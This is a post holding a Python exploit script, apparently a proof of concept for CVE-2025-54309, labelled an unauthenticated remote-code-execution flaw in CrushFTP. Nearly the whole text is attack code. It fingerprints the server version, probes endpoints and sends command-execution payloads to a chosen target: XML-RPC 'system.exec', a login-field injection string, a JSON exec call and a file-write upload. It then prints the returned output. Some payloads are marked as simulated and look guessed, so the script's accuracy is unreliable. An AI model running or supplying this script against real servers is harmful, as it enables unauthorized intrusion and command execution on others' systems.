CVE-2025-54309｜CrushFTP身份验证绕过漏洞（POC）

CrushFTP 10.x < 10.8.5
CrushFTP 11.x < 11.3.4_23

#!/usr/bin/env python3
import argparse
import requests
import sys
import re
from colorama import Fore, Style, init

init(autoreset=True)

BANNER = f"""{Fore.RED}
   _____                _____ _____ _   _  ____  _   _
  / ____|              / ____|_   _| \\ | |/ __ \\| \\ | |
 | |     ___  _ __ ___| |      | | |  \\| | |  | |  \\| |
 | |    / _ \\| '__/ _ \\ |      | | | . ` | |  | | . ` |
 | |___| (_) | | |  __/ |____ _| |_| |\\  | |__| | |\\  |
  \\_____\\___/|_|  \\___|\\_____|_____|_| \\_|\\____/|_| \\_|
{Style.RESET_ALL}
        {Fore.YELLOW}CVE-2025-54309 - CRUSHFTP UNAUTH RCE
        Author: Issam Junior
"""
def print_status(msg, status="info"):
    if status == "success":
        print(f"{Fore.GREEN}[+] {msg}{Style.RESET_ALL}")
    elif status == "error":
        print(f"{Fore.RED}[-] {msg}{Style.RESET_ALL}")
    elif status == "warn":
        print(f"{Fore.YELLOW}[!] {msg}{Style.RESET_ALL}")
    else:
        print(f"{Fore.CYAN}[~] {msg}{Style.RESET_ALL}")

def fingerprint_version(target):
    """Attempt to fingerprint CrushFTP version via info endpoint or headers."""
    url = f"https://{target}/WebInterface/info/"
    try:
        resp = requests.get(url, verify=False, timeout=8)
        ver = re.search(r'"version":"([\d\.]+)"', resp.text)
        if ver:
            print_status(f"CrushFTP version detected: {ver.group(1)}", "success")
            return ver.group(1)
        # Sometimes the version is in Server header
        sv = resp.headers.get("Server")
        if sv and "CrushFTP" in sv:
            print_status(f"Server header: {sv}", "success")
            return sv
        print_status("Unable to fingerprint version. Proceeding anyway.", "warn")
    except Exception as e:
        print_status(f"Version fingerprinting failed: {e}", "warn")

def generate_payload(payload_type, cmd, filename=None, filedata=None):
    """Generate payload based on type."""
    if payload_type == "xml":
        return (
            f'<?xml version="1.0"?>\n'
            f'<methodCall>\n'
            f'  <methodName>system.exec</methodName>\n'
            f'  <params><param><value><string>{cmd}</string></value></param></params>\n'
            f'</methodCall>\n'
        )
    elif payload_type == "cmd_inject":
        # Classic POST param injection
        return {"username": f"admin';{cmd};#", "password": "anything"}
    elif payload_type == "json":
        # Simulate JSON endpoint
        return {
            "method": "system.exec",
            "params": [cmd]
        }
    elif payload_type == "file_upload" and filename and filedata:
        # Simulate writing a file
        return (
            f'<?xml version="1.0"?>\n'
            f'<methodCall>\n'
            f'  <methodName>file.write</methodName>\n'
            f'  <params><param><value><string>{filename}</string></value></param>'
            f'  <param><value><string>{filedata}</string></value></param></params>\n'
            f'</methodCall>\n'
        )
    else:
        print_status("Unknown or incomplete payload type requested.", "error")
        sys.exit(2)

def parse_output(resp):
    """Parse and highlight command output from response."""
    out = ""
    # XML-RPC style
    m = re.search(r"<string>(.*?)</string>", resp, re.DOTALL)
    if m:
        out = m.group(1)
    else:
        # JSON style
        m = re.search(r'"result"\s*:\s*"([^"]+)"', resp)
        if m:
            out = m.group(1)
    if out:
        print(f"{Fore.GREEN}--- Command Output ---\n{out}\n{Style.RESET_ALL}")
    else:
        print_status("No command output detected. Raw response below.", "warn")
        print(resp)

def exploit(target, cmd, payload_type, upload_file=None, upload_data=None):
    endpoints = {
        "xml": f"https://{target}/WebInterface/function/",
        "cmd_inject": f"https://{target}/WebInterface/login/",
        "json": f"https://{target}/WebInterface/json/",
        "file_upload": f"https://{target}/WebInterface/function/"
    }
    headers = {
        "User-Agent": "CrushExploit/2.0",
        "Accept": "*/*"
    }
    if payload_type == "xml" or payload_type == "file_upload":
        headers["Content-Type"] = "application/xml"
        payload = generate_payload(payload_type, cmd, upload_file, upload_data)
        url = endpoints[payload_type]
        print_status(f"Sending XML payload to {url}", "info")
        try:
            resp = requests.post(url, data=payload, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200 and "methodResponse" in resp.text:
                print_status("Payload delivered. Parsing output...", "success")
                parse_output(resp.text)
            else:
                print_status("Target did not respond as expected.", "warn")
                print(resp.text)
        except Exception as e:
            print_status(f"Request failed: {e}", "error")
    elif payload_type == "cmd_inject":
        url = endpoints[payload_type]
        payload = generate_payload(payload_type, cmd)
        print_status(f"Sending classic injection to {url}", "info")
        try:
            resp = requests.post(url, data=payload, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                print_status("Payload delivered. Parsing output...", "success")
                parse_output(resp.text)
            else:
                print_status("Target did not respond as expected.", "warn")
                print(resp.text)
        except Exception as e:
            print_status(f"Request failed: {e}", "error")
    elif payload_type == "json":
        url = endpoints[payload_type]
        payload = generate_payload(payload_type, cmd)
        headers["Content-Type"] = "application/json"
        print_status(f"Sending JSON payload to {url}", "info")
        try:
            resp = requests.post(url, json=payload, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                print_status("Payload delivered. Parsing output...", "success")
                parse_output(resp.text)
            else:
                print_status("Target did not respond as expected.", "warn")
                print(resp.text)
        except Exception as e:
            print_status(f"Request failed: {e}", "error")
    else:
        print_status("Invalid payload type selected.", "error")
        sys.exit(2)

def recon(target):
    """Recon mode: list available endpoints and basic info."""
    print_status("Running reconnaissance...", "info")
    endpoints = [
        "/WebInterface/function/",
        "/WebInterface/login/",
        "/WebInterface/json/",
        "/WebInterface/info/"
    ]
    for ep in endpoints:
        url = f"https://{target}{ep}"
        try:
            resp = requests.get(url, verify=False, timeout=7)
            print_status(f"Endpoint {ep}: {resp.status_code} - {resp.reason}")
            if resp.text and len(resp.text) < 500:
                print(f"{Fore.YELLOW}{resp.text}{Style.RESET_ALL}")
        except Exception as e:
            print_status(f"{ep} not accessible: {e}", "warn")

def main():
    print(BANNER)
    parser = argparse.ArgumentParser(
        description="CVE-2025-54309 | CrushFTP Unauth RCE Exploit (by Issam Junior)"
    )
    parser.add_argument("target", help="Target IP or domain (CrushFTP server)")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute (default: id)")
    parser.add_argument("-p", "--payload", choices=["xml", "cmd_inject", "json", "file_upload"], default="xml",
                        help="Payload type: xml, cmd_inject, json, file_upload (default: xml)")
    parser.add_argument("--upload-file", help="File name to upload (used with file_upload)")
    parser.add_argument("--upload-data", help="File data to upload (used with file_upload)")
    parser.add_argument("--recon", action="store_true", help="Run recon mode (endpoint scan + fingerprint)")
    args = parser.parse_args()

    if args.recon:
        fingerprint_version(args.target)
        recon(args.target)
        sys.exit(0)

    if args.payload == "file_upload":
        if not args.upload_file or not args.upload_data:
            print_status("File upload requires --upload-file and --upload-data", "error")
            sys.exit(2)
        exploit(args.target, args.cmd, args.payload, args.upload_file, args.upload_data)
    else:
        exploit(args.target, args.cmd, args.payload)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(BANNER)
        print_status("Usage: python3 exploit.py <target> [-c <cmd>] [-p <payload>] [--recon]", "error")
        sys.exit(1)
    main()